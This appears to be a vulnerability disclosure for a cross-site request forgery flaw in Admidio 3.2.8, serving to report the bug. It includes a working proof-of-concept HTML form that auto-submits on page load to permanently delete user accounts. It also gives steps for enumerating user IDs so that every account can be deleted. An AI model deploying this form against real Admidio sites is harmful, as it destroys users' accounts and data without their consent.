[Suggested description]
Admidio 3.2.8 has CSRF in
adm_program/modules/members/members_function.php with
an impact of deleting arbitrary user accounts.
------------------------------------------
[Additional Information]
Using this crafted html form we are able to delete any user with
admin/user privilege.
<html>
<body onload="javascript:document.forms[0].submit()">
<form
action="http://localhost/newadmidio/admidio-3.2.8/adm_program/modules/members/members_function.php">
<input type="hidden" name="usr_id" value='9' />
<input type="hidden" name="mode" value="3" />
</form>
</body>
</html>
[Affected Component]
http://localhost/newadmidio/admidio-3.2.8/adm_program/modules/members/members_function.php
------------------------------------------
[Attack Type]
Remote
------------------------------------------
[Impact Escalation of Privileges]
true
------------------------------------------
[Attack Vectors]
Steps:
1.) If an user with admin privilege opens a crafted
html/JPEG(Image),then both the admin and users with user privilege
which are mentioned by the user id (as like shown below) in the
crafted request are deleted.
<input type="hidden" name="usr_id" value='3' />
2.) In admidio by default the userid starts from '0',
'1' for system '2' for users, so an attacker
can start from '2' upto 'n' users.
3.)For deleting the user permanently we select 'mode=3'(as like shown
below),then all admin/low privileged users are deleted.
<input type="hidden" name="mode" value="3" />
